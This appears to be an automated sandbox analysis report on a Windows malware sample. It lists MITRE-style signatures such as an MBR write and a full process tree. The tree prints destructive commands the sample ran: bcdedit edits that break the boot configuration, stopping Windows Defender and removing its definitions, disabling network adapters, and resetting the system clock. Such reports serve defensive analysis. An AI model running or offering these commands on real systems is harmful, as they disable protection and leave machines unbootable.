Overview

overview

6

Static

static

3

747c776263...54.exe

windows10-2004-x64

6

747c776263...54.exe

windows11-21h2-x64

6

Analysis

  • max time kernel
    9s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/04/2026, 01:45

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General

  • Target
    747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054.exe
  • Size 992KB
  • Sample260419-b6s8psbt2j
  • SHA256 747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
bootkitdiscoveryexecutionpersistence

Malware Config

Signatures

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054.exe
    "C:\Users\Admin\AppData\Local\Temp\747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3512
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c echo wow64log.dll > %SystemRoot%\System32\wow64log.dll
      2⤵
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      PID:2620
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c md %SystemRoot%\System32\config\OSDATA
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4072
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set optionsedit 1
      2⤵
      • System Location Discovery: System Language Discovery
      PID:860
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} device partition=Z:
      2⤵
      • System Location Discovery: System Language Discovery
      PID:936
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} path \nonexistent\bootmgr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1916
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} device partition=X:
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5124
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} osdevice partition=Y:
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3052
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} path \windows\system32\notexist.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} systemroot \windows\cursors
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5380
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} nx AlwaysOff
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5556
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command 'Get-CimInstance Win32_NetworkAdapter | Where-Object { $_.NetEnabled -eq $true } | Invoke-CimMethod -Name Disable'
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command 'Get-CimInstance Win32_NetworkAdapter
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:1028
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c date 01/01/2038 | date 01/01/2028 | date 01/01/2024
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3504
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" date 01/01/2038 "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2792
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" date 01/01/2028 "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3980
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" date 01/01/2024"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3536
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c time 00:00:00
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:6056
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c start net stop WinDefend
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4140
      • C:\Windows\SysWOW64\net.exe
        net stop WinDefend
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop WinDefend
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2108
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c start C:\Program Files (x86)\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5672
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic path win32_networkadapter where 'AdapterTypeID=0 AND NetEnabled='TRUE'' call disable
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3800
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic path win32_networkadapter where 'AdapterTypeID=0 AND NetEnabled='TRUE'' call disable
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:6036
  • C:\Windows\System32\Upfc.exe
    C:\Windows\System32\Upfc.exe /launchtype periodic /cv 6PhD2xrYLEa/JlMbiebuYw.0
    1⤵
      PID:4940

    Network

          MITRE ATT&CK Enterprise v16

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